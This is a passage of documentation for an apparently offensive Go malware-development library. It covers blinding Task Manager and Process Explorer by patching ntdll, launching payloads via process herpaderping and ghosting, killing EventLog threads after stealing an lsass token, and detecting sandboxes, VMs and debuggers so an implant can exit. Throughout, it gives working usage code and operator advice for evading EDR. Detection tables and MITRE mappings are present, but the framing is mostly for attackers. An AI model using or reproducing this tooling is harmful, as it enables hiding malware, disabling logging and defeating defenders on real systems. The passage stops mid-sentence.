Note over Impl: ntdll loads at the same VA in every<br>process per boot — local VA = remote VA
Impl->>Target: OpenProcess(VM_WRITE | VM_OPERATION)
Impl->>NtQSI: WriteProcessMemory(prologue, stub)
Note over NtQSI: 7-byte stub:<br>B8 02 00 00 C0 mov eax, 0xC0000002<br>C2 10 00 ret 0x10
Target->>NtQSI: NtQuerySystemInformation(SystemProcessInformation, …)
NtQSI-->>Target: STATUS_NOT_IMPLEMENTED
Target->>Target: empty process list
Why it works:
- On Win 8+,
ntdll.dllis loaded at the same VA in every process per boot (base randomised once viaKUSER_SHARED_DATA), so the implant resolvesNtQuerySystemInformationlocally and the VA is identical in the target. - The stub returns
0xC0000002=STATUS_NOT_IMPLEMENTED. The caller's error path typically falls back to an empty result set. - Only the patched process is affected — kernel telemetry
doesn't go through user-mode
NtQuerySystemInformation.
API Reference
| Symbol | Description |
|---|---|
PatchProcessMonitor(pid, caller) error | Patch the running target. Does not persist a restart. |
caller=nil uses direct WinAPI; pass a *wsyscall.Caller to
route the cross-process read/write through indirect syscalls.
Requires PROCESS_VM_WRITE | PROCESS_VM_OPERATION —
typically SeDebugPrivilege or a process the current token
already owns.
Examples
Simple — blind a known PID
import "github.com/oioio-space/maldev/process/tamper/hideprocess"
const taskmgrPID = 1234
_ = hideprocess.PatchProcessMonitor(taskmgrPID, nil)
Composed — sweep by name
Blind every running analyst tool found via
process/enum.
import (
"github.com/oioio-space/maldev/process/enum"
"github.com/oioio-space/maldev/process/tamper/hideprocess"
)
procs, _ := enum.List()
for _, p := range procs {
switch p.Name {
case "Taskmgr.exe", "procexp.exe", "procexp64.exe", "ProcessHacker.exe":
_ = hideprocess.PatchProcessMonitor(int(p.PID), nil)
}
}
Advanced — watch + auto-blind on launch
Poll for analyst-tool launches and patch each one as it appears. Useful as a long-running implant component on a multi-user host.
import (
"time"
"github.com/oioio-space/maldev/process/enum"
"github.com/oioio-space/maldev/process/tamper/hideprocess"
)
func watch() {
targets := map[string]bool{
"Taskmgr.exe": true,
"procexp.exe": true,
"procexp64.exe": true,
"ProcessHacker.exe": true,
}
blinded := map[uint32]bool{}
for {
procs, err := enum.List()
if err == nil {
for _, p := range procs {
if !targets[p.Name] || blinded[p.PID] {
continue
}
if err := hideprocess.PatchProcessMonitor(int(p.PID), nil); err == nil {
blinded[p.PID] = true
}
}
}
time.Sleep(1 * time.Second)
}
}
See ExamplePatchProcessMonitor.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
WriteProcessMemory against ntdll .text of an analyst tool | EDR cross-process write telemetry — high-fidelity if the tool is monitored |
OpenProcess(VM_WRITE) against Taskmgr.exe / procexp.exe | Sysmon Event 10 (ProcessAccess) with VM_WRITE access mask |
.text integrity check on ntdll inside the target | Some EDRs hash the prologue periodically — stub bytes diverge from canonical |
| Behavioural correlation: EDR sees activity, Task Manager doesn't | Mature SOC tells, but only with proactive hunt |
| Kernel telemetry unaffected | EDR sees normal process activity from its own un-patched process |
D3FEND counters:
Hardening for the operator:
- Use indirect syscalls via
wsyscall.Callerso the cross-process write doesn't go through hookedWriteProcessMemory. - Patch all candidate tools at once; selective patching leaves some tooling fully functional.
- The patch does not persist across the target's process restart — pair with a watch loop that re-patches on relaunch.
- Don't use this on hosts where EDRs hash ntdll periodically (Microsoft Defender does not by default; Elastic / S1 / CS vary).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1564.001 | Hide Artifacts: Hidden Process | full — user-mode tooling blinded | D3-RAPA |
| T1027.005 | Indicator Removal from Tools | partial — neutralises local triage tools | D3-SCA |
Limitations
- User-mode only. Kernel-sourced enumeration sees everything.
- Per-process patch. Patches are not persistent across target restart; tool relaunch returns to clean ntdll.
- Other processes unaffected. EDR agents in their own process see the full process list normally.
- Requires
PROCESS_VM_WRITE. SeDebugPrivilege or ownership of the target. .textintegrity check defeats this. Rare in production EDRs but trivially detectable when present.- Specific to
NtQuerySystemInformation. Other enumeration paths (WMIWin32_Process, NTDLL exports not patched here) bypass the stub. The package targets the most-common path; thorough monitoring needs more patches.
See also
process/enum— discovery of patch targets.process/tamper/fakecmd— sibling user-mode tampering surface.evasion/unhook— sibling ntdll patching surface (in this case to un-patch).win/syscall— indirect syscall caller for the cross-process write.- Operator path.
- Detection eng path.
Process Herpaderping & Ghosting
TL;DR
Exploit the kernel image-section cache so the running process
executes one PE while the file on disk reads as another (or
doesn't exist). ModeHerpaderping overwrites the backing file
with a decoy after the section is mapped; ModeGhosting deletes
the file before the process is created. EDR file-based
inspection sees the decoy / fails open. Win11 26100+ blocks
both modes (STATUS_NOT_SUPPORTED).
Primer
When Windows creates a process from a PE file, the kernel maps the image into an immutable section object and caches it. The cache survives after the file handle closes — and can survive after the file itself is overwritten or deleted. The running process executes the cached image; downstream readers that go back to the file see whatever's there now.
This package exploits that gap. The payload is mapped → the
file is replaced with a decoy → the thread is created. EDR /
AV security callbacks fire at thread creation (PsSetCreateThreadNotifyRoutine)
and file-read inside the callback returns the decoy, not the
original payload.
Two variants:
- Herpaderping (jxy-s, 2020) — overwrite the file with a decoy after mapping. Decoy can be a real signed PE (svchost, notepad) or random bytes.
- Ghosting (Gabriel Landau, 2021) — create a delete-pending
file, map as
SEC_IMAGE, close the handle to let the delete complete. The file never exists at the moment of thread creation.
Win11 24H2 / 25H2 (build ≥ 26100) blocks both modes —
NtCreateProcessEx returns STATUS_NOT_SUPPORTED on a section
backed by a tampered or deleted file. The package treats every
build ≥ 26100 as blocked out of caution; operators with
verified-working 26100 builds can drop the test skip locally.
How It Works
sequenceDiagram
participant Op as "Operator"
participant Sec as "NtCreateSection<br>(SEC_IMAGE)"
participant Cache as "Kernel image cache"
participant Disk as "Backing file"
participant Proc as "NtCreateProcessEx"
participant Thr as "NtCreateThreadEx"
participant EDR
Op->>Sec: payload.exe → section
Sec->>Cache: cache image (immutable)
Op->>Proc: NtCreateProcessEx(section)
Note over Op,Disk: Mode-specific step
Op->>Disk: Herpaderping: overwrite with decoy<br>OR Ghosting: delete (file unlinked)
Op->>Thr: NtCreateThreadEx
Thr->>EDR: PsSetCreateThreadNotifyRoutine fires
EDR->>Disk: read backing file
Disk-->>EDR: decoy / file-not-found
Note over Cache,Thr: Process executes from cached image<br>= original payload
The on-disk decoy can be a signed system binary so authenticode verification at the EDR-callback time succeeds against the wrong PE.
API Reference
type Mode int
| Constant | Variant |
|---|---|
ModeHerpaderping (default) | overwrite file post-mapping |
ModeGhosting | unlink file before process creation |
type Config
| Field | Required | Description |
|---|---|---|
Mode | no (default Herpaderping) | Which kernel-cache exploit |
PayloadPath | yes | The actual PE the operator wants executed |
TargetPath | no (auto temp if absent) | Where the section is mapped from |
DecoyPath | no (random bytes if absent for Herpaderping; ignored for Ghosting) | Decoy PE path |
Functions
| Symbol | Description |
|---|---|
Run(cfg Config) error | One-shot execution |
Technique(cfg Config) evasion.Technique | evasion.Technique adapter for evasion.ApplyAll |
Examples
Simple — Herpaderping with svchost decoy
import "github.com/oioio-space/maldev/process/tamper/herpaderping"
_ = herpaderping.Run(herpaderping.Config{
PayloadPath: "implant.exe",
TargetPath: `C:\Windows\Temp\legit.exe`,
DecoyPath: `C:\Windows\System32\svchost.exe`,
})
Composed — Ghosting (recommended for win10/11 ≤ 22H2)
No on-disk artefact at thread-creation time.
_ = herpaderping.Run(herpaderping.Config{
Mode: herpaderping.ModeGhosting,
PayloadPath: "implant.exe",
TargetPath: `C:\Windows\Temp\nohost.exe`,
})
Advanced — composed with AMSI patch
Pair the spawn with an in-process AMSI bypass via the
evasion.Technique chain.
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/process/tamper/herpaderping"
)
techs := []evasion.Technique{
amsi.ScanBufferPatch(),
herpaderping.Technique(herpaderping.Config{
PayloadPath: "implant.exe",
TargetPath: `C:\Temp\legit.exe`,
DecoyPath: `C:\Windows\System32\svchost.exe`,
}),
}
_ = evasion.ApplyAll(techs, nil)
Auto-temp + random decoy
When the operator doesn't have a specific decoy in mind:
_ = herpaderping.Run(herpaderping.Config{
PayloadPath: "implant.exe",
// TargetPath auto via os.CreateTemp
// DecoyPath omitted — target overwritten with random bytes
})
See ExampleRun
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Sysmon Event ID 25 (ProcessTampering) | Primary detection — kernel detects mapped-image vs file mismatch |
NtCreateSection(SEC_IMAGE) followed by WriteFile on same handle before NtCreateThreadEx | Advanced EDR rule (Elastic, CrowdStrike) |
| Process whose authenticode resolves to decoy but memory layout is a different PE | Mature EDR (Defender for Endpoint) cross-validation |
Mode=Ghosting: file delete-pending then closed before NtCreateProcessEx | ProcessTampering is the primary signal — 26100+ kernel rejects |
Process whose PEB.ProcessParameters.ImagePathName points at a path that vanishes / contains decoy | Live-system triage |
D3FEND counters:
Hardening for the operator:
- Verify the target build before running —
26100+returnsSTATUS_NOT_SUPPORTEDfor both modes. - For
ModeHerpaderping, pick a signed donor decoy whose identity matches a plausible "what runs at this path" story. - For
ModeGhosting, the lack of an on-disk artefact at thread-creation is a stronger primitive — but Sysmon Event 25 fires equally. - Pair with
pe/stripon the payload so memory analysis at runtime doesn't immediately reveal Go-toolchain markers. - Avoid hosts running EDRs that ship Sysmon Event 25 by default (Defender for Endpoint, Elastic, S1).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.013 | Process Doppelgänging | partial — same family of section-cache exploits | D3-PSA, D3-FCA |
| T1055 | Process Injection | full — defense evasion via process tampering | D3-PSA |
| T1027.005 | Indicator Removal from Tools | partial — file-on-disk decoy defeats authenticode-of-disk-image | D3-FCA |
Limitations
- Win11 26100+ blocked. Both modes return
STATUS_NOT_SUPPORTEDon Win11 24H2 / 25H2. - File-write requirement (Herpaderping). Target path must be writable; read-only media or files locked by another process can't be overwritten.
PEB.ProcessParameters.ImagePathName. Points at the target file, which now contains the decoy / is gone — live triage that reads the PE via the path sees the decoy / fails. In-memory PE reconstruction (Volatility, dumpit) still recovers the original.- Win10 minimum.
NtCreateProcessExsemantics differ on older versions. - No 32-bit support. x64 only.
References
- jxy-s — original Herpaderping research: https://jxy-s.github.io/herpaderping/
- Gabriel Landau — Process Ghosting: https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack
- hasherezade (Jan 2025) — Ghosting on early-26100 builds.
See also
inject— alternative for in-process payload delivery (no fresh process).process/tamper/fakecmd— pair to spoof the spawned process's PEB CommandLine.pe/strip— scrub the payload before mapping.evasion/amsi— pair viaevasion.Techniquechain for in-process AMSI bypass.- Operator path.
- Detection eng path.
Phant0m — EventLog thread termination
TL;DR
Terminate the worker threads of the Windows EventLog service
inside its hosting svchost.exe. The service stays "Running"
in SCM (no 4697 "service stopped" event), but no new entries
are written. Per-thread service-tag validation
(I_QueryTagInformation) ensures only EventLog threads die —
co-hosted services in the same svchost survive. Requires
SeDebugPrivilege. Loud once a defender notices the gap.
Primer
Windows logs almost everything an investigator wants — logons,
service installs, scheduled tasks, PowerShell ScriptBlock,
Sysmon events — into the Windows Event Log. The naive way to
silence it (sc stop EventLog) is itself logged: SCM emits a
"service stopped" event before the kill takes effect.
Phant0m goes around it. The EventLog service is a set of
worker threads inside a shared svchost.exe host. Identify
that host, find the threads tagged as EventLog workers, and
terminate them individually with TerminateThread. SCM still
reports RUNNING; the process is alive; only the workers
are dead. Subsequent ReportEvent / EvtReportEvent calls
queue but never persist.
This technique is loud once detected — defenders watching for EventLog gaps trip on the silence — but the kill itself generates no service-stop signal.
How It Works
flowchart TD
A[OpenSCManager + OpenService] --> B[QueryServiceStatusEx<br>EventLog → host PID]
B --> C[enum.Threads PID]
C --> D{For each TID}
D --> E[OpenThread<br>THREAD_QUERY_INFORMATION]
E --> F[NtQueryInformationThread<br>→ TEB base]
F --> G[ReadProcessMemory<br>TEB+0x1720 → SubProcessTag]
G --> H[I_QueryTagInformation<br>→ service name]
H --> I{name == EventLog?}
I -- yes --> J[OpenThread<br>THREAD_TERMINATE]
J --> K[TerminateThread<br>or NtTerminateThread via caller]
I -- no --> D
K --> D
Service-tag validation uses I_QueryTagInformation (advapi32),
an undocumented-but-stable API used by Task Manager to show
service names per thread. The SubProcessTag is a 32-bit value
stored at offset 0x1720 in the x64 TEB. If the API is
absent (very old systems), the package falls back to
terminating every thread in the EventLog PID.
API Reference
| Symbol | Description |
|---|---|
Kill(caller *wsyscall.Caller) error | Terminate EventLog worker threads. caller=nil uses WinAPI; non-nil routes NtTerminateThread through indirect syscalls. |
Heartbeat(ctx context.Context, interval time.Duration, caller *wsyscall.Caller) error | First Kill is synchronous (returns its error); subsequent Kills run every interval until ctx is cancelled. Defeats SCM/WMI heartbeat re-spawns of the EventLog workers. |
Technique() evasion.Technique | evasion.Technique adapter for evasion.ApplyAll. |
var ErrNoTargetThreads | No EventLog worker threads identified — fallback also failed. |
Examples
Simple — direct kill
import "github.com/oioio-space/maldev/process/tamper/phant0m"
if err := phant0m.Kill(nil); err != nil {
return
}
Composed — indirect syscall
import (
"github.com/oioio-space/maldev/process/tamper/phant0m"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
_ = phant0m.Kill(caller)
Advanced — token theft + Heartbeat ticker
Steal a SYSTEM token to obtain SeDebugPrivilege, silence the
event log, then re-kill on a built-in ticker so SCM/WMI
re-spawns of the EventLog workers don't undo the kill.
import (
"context"
"log"
"time"
"github.com/oioio-space/maldev/process/tamper/phant0m"
wsyscall "github.com/oioio-space/maldev/win/syscall"
"github.com/oioio-space/maldev/win/token"
)
tok, _ := token.StealByName("lsass.exe")
defer tok.Close()
_ = tok.EnablePrivilege("SeDebugPrivilege")
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
ctx, cancel := context.WithCancel(context.Background())
defer cancel() // stop the heartbeat at scope exit
go func() {
if err := phant0m.Heartbeat(ctx, 5*time.Second, caller); err != nil &&
!errors.Is(err, context.Canceled) {
log.Printf("phant0m heartbeat: %v", err)
}
}()
// ... noisy work runs here, EventLog stays silent ...
Heartbeat returns the first Kill error synchronously, so the
goroutine bails immediately if the initial silencing fails. After
that, transient Kill errors are silently retried — only the
context cancellation surfaces as a final return.
See ExampleKill.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
OpenThread(THREAD_TERMINATE) against svchost.exe | Sysmon Event 10 (ProcessAccess) — high-fidelity rule when target is svchost hosting EventLog |
TerminateThread / NtTerminateThread from non-svchost lineage | EDR API telemetry — Defender, MDE, S1 ship this |
| EventLog gap | SOC heartbeat / SIEM correlation: "no events from host X for N minutes" |
EventLog service status RUNNING with zero live threads | Sysmon Event 8 (CreateRemoteThread inverse) — defender can poll thread count |
| SACL auditing on svchost.exe | Enterprise SOC may enable; logs the THREAD_TERMINATE open |
| Subsequent log writes failing silently | Defender for Endpoint MsSense detects |
D3FEND counters:
Hardening for the operator:
- Use indirect syscalls via
wsyscall.Callerso the thread-termination doesn't go through hooked WinAPI. - Re-kill on a ticker — SCM may restart the workers on heartbeat checks.
- Pair with
evasion/etwto also blind ETW providers; phant0m only kills the EventLog service, not ETW consumers. - Don't use this on hosts where EventLog forwarding is enterprise-monitored — the gap is itself the detection.
- The
I_QueryTagInformationfallback (kill all threads in PID) breaks co-hosted services — only an issue on hosts where multiple non-EventLog services share that svchost group.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1562.002 | Impair Defenses: Disable Windows Event Logging | full — service-stop-free silencing | D3-RAPA, D3-PA |
Limitations
- Loud on detection. EventLog gaps are themselves a high-fidelity signal in mature SOCs.
SeDebugPrivilegerequired. Implies SYSTEM or elevated admin context.- x64 only. TEB offset
0x1720is x64-specific. - SCM heartbeat re-spawns workers. Use
Heartbeat(ctx, interval, caller)to ticker-kill the workers as fast as SCM re-spawns them. The first Kill is synchronous (returns its error); subsequent Kills run on the ticker until ctx cancellation. Without the heartbeat, the silence window collapses within seconds. - Per-thread fallback. Without
I_QueryTagInformation, the package terminates every thread in the EventLog PID — breaks co-hosted services. - No persistence. Reboot restores the EventLog service with fresh threads. Pair with persistence to re-arm.
See also
evasion/etw— sibling ETW silencing surface (per-process).win/token— token theft forSeDebugPrivilege.win/syscall— indirect syscall caller forNtTerminateThread.process/enum— sibling discovery helper.- Operator path.
- Detection eng path.
Recon techniques
The recon/* package tree groups discovery + environmental
awareness primitives:
- Anti-analysis — debugger / VM / sandbox detection
(
antidebug,antivm,sandbox,timing). - Hijack discovery — DLL search-order hijack opportunities
(
dllhijack). - Hook detection — hardware breakpoint inspection
(
hwbp). - System enumeration — drives, special folders, network
(
drive,folder,network).
flowchart TB
subgraph anti [Anti-analysis]
AD[antidebug]
AV[antivm]
TIME[timing]
SB[sandbox<br>orchestrator]
AD --> SB
AV --> SB
TIME --> SB
end
subgraph discovery [System discovery]
DRV[drive]
FLD[folder]
NET[network]
end
subgraph hooks [Hook detection]
HWBP[hwbp<br>DR0-DR3]
end
subgraph hijack [Hijack discovery]
DLL[dllhijack<br>services + procs +<br>tasks + autoElevate]
end
SB --> BAIL[bail-on-detect]
HWBP --> CLEAR[clear + unhook]
DLL --> EXPLOIT[validate + deploy]
DRV --> STAGE[USB-stage / SMB-share lateral]
FLD --> PERSIST[persistence path resolution]
NET --> C2[source-aware C2]
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
recon/antidebug | anti-analysis.md | quiet | Cross-platform debugger detection (PEB / TracerPid) |
recon/antivm | anti-analysis.md | quiet | Multi-vendor hypervisor detection (7 dimensions) |
recon/sandbox | sandbox.md | quiet | Multi-factor sandbox orchestrator |
recon/timing | timing.md | quiet | CPU-burn defeats Sleep-hook fast-forward |
recon/dllhijack | dll-hijack.md | moderate | Discover DLL search-order hijack opportunities |
recon/hwbp | hw-breakpoints.md | moderate | Detect + clear EDR HWBPs in DR0-DR3 |
recon/drive | drive.md | very-quiet | Drive enum + USB-insert watcher (Windows) |
recon/folder | folder.md | very-quiet | Windows special-folder path resolution |
recon/network | network.md | very-quiet | Cross-platform interface IPs + IsLocal |
Quick decision tree
| You want to… | Use |
|---|---|
| …bail if a debugger is attached | antidebug.IsDebuggerPresent |
| …bail if running in a hypervisor | antivm.Detect |
| …run multi-factor "is this analysis?" | sandbox.New(DefaultConfig).IsSandboxed |
| …burn CPU to defeat Sleep fast-forward | timing.BusyWait |
| …find DLL hijack candidates | dllhijack.ScanAll |
| …UAC bypass via autoElevate hijack | dllhijack.ScanAutoElevate |
| …detect EDR HWBPs in ntdll | hwbp.Detect → ClearAll |
| …list mounted drives + watch removable insertions | drive.NewWatcher |
…resolve %APPDATA% / %PROGRAMDATA% | folder.Get |
| …list host IPs / detect self-references | network.InterfaceIPs / IsLocal |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1622 | Debugger Evasion | antidebug, hwbp | D3-EI |
| T1497 | Virtualization/Sandbox Evasion | sandbox | D3-EI |
| T1497.001 | System Checks | antivm | D3-EI |
| T1497.003 | Time Based Evasion | timing | D3-EI |
| T1574.001 | Hijack Execution Flow: DLL Search Order Hijacking | dllhijack | D3-EAL |
| T1548.002 | Bypass UAC | dllhijack (autoElevate) | D3-EAL |
| T1027.005 | Indicator Removal from Tools | hwbp | D3-PSA |
| T1120 | Peripheral Device Discovery | drive | — |
| T1083 | File and Directory Discovery | folder, drive | — |
| T1016 | System Network Configuration Discovery | network | — |
See also
- Operator path: pre-flight discovery
- Detection eng path
evasion/unhook— pair withhwbp.ClearAllfor full hook clear.win/syscall— direct/indirect syscalls bypass both inline + HWBP.persistence/*— consumesfolder.Getfor path resolution.
Anti-analysis (debugger + VM detection)
TL;DR
Cross-platform debugger detection (antidebug)
- multi-vendor VM/hypervisor detection (
antivm). Single-shot primitives the implant runs at startup; bail if a debugger is attached or the host fingerprints as VirtualBox / VMware / Hyper-V / Parallels / Xen / QEMU / Docker / WSL.
Primer
Sandboxes are virtual machines. Analysts attach debuggers. If
the implant exits before either can capture a behavioural trace,
the analysis pipeline goes home with empty hands. antidebug +
antivm are the two cheapest "is this an analysis environment?"
primitives — both bail in microseconds.
antidebug reads the PEB BeingDebugged flag (Windows) or
/proc/self/status TracerPid (Linux). antivm runs configurable
checks across 7 dimensions (registry, files, NIC MAC prefixes,
processes, CPUID/BIOS, DMI info) keyed against vendor-specific
fingerprints. Pair both with recon/sandbox for
the multi-factor orchestrator.
How It Works
flowchart LR
subgraph debug [antidebug]
WIN[Windows: IsDebuggerPresent<br>PEB BeingDebugged]
LIN[Linux: /proc/self/status<br>TracerPid != 0]
end
subgraph vm [antivm]
REG[Registry keys<br>HKLM\HARDWARE\…]
FILES[VM driver files<br>vmtoolsd, vbox*]
NIC[MAC prefixes<br>00:0C:29 VMware]
PROC[Process names<br>vmtoolsd, vboxservice]
DMI[DMI info<br>BIOS / chassis]
CPU[CPUID flags<br>hypervisor bit]
end
debug --> OUT[bool / vendor name]
vm --> OUT
OUT --> SANDBOX[recon/sandbox<br>orchestrator]
API Reference
antidebug.IsDebuggerPresent() bool
Returns true when a debugger is attached. Cross-platform.
antivm.Detect(cfg) (string, error) / DetectAll(cfg) ([]string, error)
Returns the first / every matching vendor name across the configured check dimensions.
antivm.Config + Vendor + CheckType
| Constant | Bit |
|---|---|
CheckRegistry | registry-key probe |
CheckFiles | driver-file existence |
CheckNIC | MAC-prefix match |
CheckProcesses | analysis-tool process names |
CheckDMI | /sys/class/dmi/ (Linux) |
CheckCPUID | hypervisor leaf |
DefaultConfig() enables all dimensions; DefaultVendors
covers Hyper-V, Parallels, VirtualBox, VMware, Xen, QEMU,
Proxmox, Docker, WSL.
Examples
Simple — bail on detection
import (
"os"
"github.com/oioio-space/maldev/recon/antidebug"
"github.com/oioio-space/maldev/recon/antivm"
)
if antidebug.IsDebuggerPresent() {
os.Exit(0)
}
if name, _ := antivm.Detect(antivm.DefaultConfig()); name != "" {
os.Exit(0)
}
Composed — narrow vendor + dimension
cfg := antivm.Config{
Vendors: []antivm.Vendor{
{Name: "VMware", Nic: []string{"00:0C:29"}, Files: []string{`C:\windows\system32\drivers\vmtoolsd.sys`}},
},
Checks: antivm.CheckNIC | antivm.CheckFiles,
}
if name, _ := antivm.Detect(cfg); name != "" {
return
}
Advanced — orchestrator integration
See recon/sandbox for the multi-factor
Checker.IsSandboxed — debugger +
VM detection are two of the seven dimensions it composes.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
IsDebuggerPresent Win32 call | Universal — invisible |
/proc/self/status read | Linux: invisible |
| Registry probes against VM driver keys | EDR usually invisible; some sandbox-aware AV may flag patterns |
| MAC-prefix interface enumeration | Universally invisible |
CPUID 0x40000000 (hypervisor leaf) | Invisible to user-mode telemetry |
| Behavioural correlation: many checks then early exit | Sandboxes time-out themselves; correlation is post-fact |
D3FEND counters:
- D3-EI — sandbox executor design.
Hardening for the operator:
- Pair
antidebug+antivmwith timing-based evasion (recon/timing) — sandboxes time out before a multi-second BusyWait completes. - Use
recon/sandboxfor the multi-factor pipeline rather than calling primitives independently.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1622 | Debugger Evasion | full — antidebug.IsDebuggerPresent | D3-EI |
| T1497.001 | Virtualization/Sandbox Evasion: System Checks | full — antivm 7 dimensions | D3-EI |
Limitations
- PEB-only on Windows. Sophisticated debuggers can clear
the
BeingDebuggedflag — ScyllaHide and similar harden it. - No anti-VMI. Bare-metal VMI (Volatility-on-host) defeats every userland check.
- Static fingerprints. Vendors who customise OEM strings
in DMI / registry can defeat default fingerprints; supply
custom
Vendorlists for hostile environments. - WSL detection is loose. WSL2 looks very VM-like; expect false positives if WSL is a legitimate target.
See also
- Sandbox orchestrator — multi-factor pipeline.
- Time-based evasion — pair to defeat sandbox fast-forward.
- Operator path.
- Detection eng path.
Sandbox detection orchestrator
TL;DR
Multi-factor sandbox / VM / analysis-environment detector.
Aggregates 7 check dimensions
(antidebug, antivm,
hardware thresholds, suspicious user/host names, analysis-tool
processes, fake-domain DNS interception, time-based) into a
single Checker.IsSandboxed result.
Returns (true, reason, err) so callers can bail and log
why.
Primer
No single signal is conclusive. CPU core count alone won't tell you Cuckoo from a low-end laptop; VM detection alone misses bare-metal forensic workstations. The orchestrator stacks indicators across orthogonal dimensions so high-confidence sandboxes (Cuckoo, Joe Sandbox, ANY.RUN, hybrid-analysis) light up across multiple checks while real targets light up across zero or one.
The default configuration is calibrated against the canonical
public sandbox baselines: 2 cores, 4 GB RAM, 60 GB disk,
generic usernames (admin, user, sandbox, malware),
analysis tools (procmon, wireshark, fiddler,
x32dbg/x64dbg).
How It Works
flowchart TD
subgraph cfg [Config dimensions]
DEBUG[Debugger]
VM[VM/Hypervisor]
HW[Hardware<br>cores / RAM / disk]
IDENT[User / hostname]
PROC[Process names]
DNS[Fake-domain DNS]
TIME[Time-based]
end
DEBUG --> AGG[Checker.IsSandboxed]
VM --> AGG
HW --> AGG
IDENT --> AGG
PROC --> AGG
DNS --> AGG
TIME --> AGG
AGG --> OUT{any check fires?}
OUT --> RES[true + reason]
OUT --> NORMAL[false + nil]
Per-dimension tunables in Config: each check has a threshold
and an enable flag. DefaultConfig ships defender-baseline
values; operators harden against specific targets by tightening
or relaxing.
API Reference
| Symbol | Description |
|---|---|
type Config | Per-dimension thresholds + enable flags |
DefaultConfig() Config | Defender-baseline calibration |
type Checker | Orchestrator instance |
New(cfg) *Checker | Build a checker |
Checker.IsSandboxed(ctx) (bool, string, error) | Run all enabled checks; first match wins (binary verdict) |
Checker.CheckAll(ctx) []Result | Run every check; return all results (per-check breakdown) |
Score(results []Result) int | Aggregate []Result into a 0..100 confidence score, capped at 100 |
Weights() map[string]int | Returns a copy of the per-check score weights for audit/tuning |
Scoring weights
| Check | Weight | Rationale |
|---|---|---|
debugger | 20 | active analyst attached |
vm | 18 | virt detection probe matched |
domain | 15 | sandbox DNS resolves a known-fake domain |
process | 13 | analysis tool (procmon / wireshark / …) running |
username | 12 | analyst-flavour user name |
hostname | 12 | analyst-flavour hostname |
process_count | 7 | unusually low PID population |
connectivity | 6 | no real internet egress |
ram | 5 | below MinRAMGB |
disk | 5 | below MinDiskGB |
cpu | 3 | below MinCPUCores |
Sum of all weights = 116. The aggregate is capped at 100 so a "matched everything" outcome lands at the ceiling. Operators pick a bail threshold (typically 50–70) per their tolerance for false positives.
Examples
Simple — defender baseline
import (
"context"
"os"
"github.com/oioio-space/maldev/recon/sandbox"
)
c := sandbox.New(sandbox.DefaultConfig())
if hit, reason, _ := c.IsSandboxed(context.Background()); hit {
fmt.Fprintf(os.Stderr, "bail: %s\n", reason)
os.Exit(0)
}
Composed — strict thresholds
Harden against a specific defender pipeline by raising hardware thresholds and adding custom usernames.
cfg := sandbox.DefaultConfig()
cfg.MinCPUCores = 4
cfg.MinRAMGB = 8
cfg.SuspiciousUsernames = append(cfg.SuspiciousUsernames,
"test", "demo", "vagrant",
)
c := sandbox.New(cfg)
Advanced — full audit + report
results := c.CheckAll(ctx)
for _, r := range results {
if r.Detected {
fmt.Printf("%-15s %s\n", r.Name, r.Detail)
}
}
Advanced — score-based bail (recommended for tunable noise)
Replace the binary IsSandboxed verdict with a 0..100 score so
operators can tune the bail threshold per engagement.
import "github.com/oioio-space/maldev/recon/sandbox"
c := sandbox.New(sandbox.DefaultConfig())
results := c.CheckAll(ctx)
score := sandbox.Score(results)
if score >= 60 {
log.Printf("bail: sandbox score=%d", score)
return
}
Audit / tune the weights:
for name, w := range sandbox.Weights() {
log.Printf("weight[%s] = %d", name, w)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Many checks then early exit | Sandboxes self-flag — they exhausted their analysis budget |
| Fake-domain DNS resolution | Sandboxes often sinkhole; the DNS query itself is logged |
| Analysis-tool process enumeration | Sandboxes know they run wireshark; the enumeration succeeds |
| BusyWait followed by exit | Time-based sandbox decoys |
D3FEND counters:
- D3-EI — sandbox design itself.
Hardening for the operator:
- Calibrate thresholds against the actual target stack — too strict means false positives on real low-spec targets.
- Layer with
timingBusyWait; sandboxes time out before a 30-second wait completes. - Run the full
IsSandboxedonce at startup, then cache — re-running on every callback is wasted effort.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1497 | Virtualization/Sandbox Evasion | full — multi-factor orchestrator | D3-EI |
Limitations
- No bypass for VMI. Bare-metal volatility analysis defeats every check.
- False positives on low-spec real users. Tightening
hardware thresholds catches sandboxes but may catch real
embedded / minimal-VM targets. The
Scorehelper + operator-chosen threshold gives finer control than the binaryIsSandboxed: a single hardware check failing on a real low-spec target only contributes 3-5 points; the operator's bail threshold (typically 50-70) absorbs that noise. - Score weights are static. The current
detectionWeightsare tuned for "default-defender baseline" target shapes. Targets with unusual hardware (cheap VPS, dense Docker hosts) may need re-weighting viaWeights()audit + a custom aggregator. - DNS check requires outbound resolution. Air-gapped sandboxes that NXDOMAIN everything still defeat the fake-domain probe.
- No rootkit awareness. Hooks installed by sandbox kernel
drivers are out of scope; pair with
evasion/unhook+recon/hwbpfor kernel-hook detection.
See also
antidebug+antivm— primitives.recon/timing— time-based evasion sub-check.- Operator path.
- Detection eng path.
Time-based sandbox evasion
TL;DR
Burn CPU for a real wall-clock duration to defeat sandboxes
that fast-forward Sleep(). Two flavours: tight time-comparison
loop (BusyWait) or primality-testing
loop (BusyWaitPrimality) for a
math-like CPU pattern.
Primer
Sandboxes commonly hook Sleep / WaitForSingleObject to skip
waits and observe what the implant does next. A 30-second
Sleep() becomes a no-op; a 30-second BusyWait does not. The
distinction is subtle but reliable — sandboxes have analysis
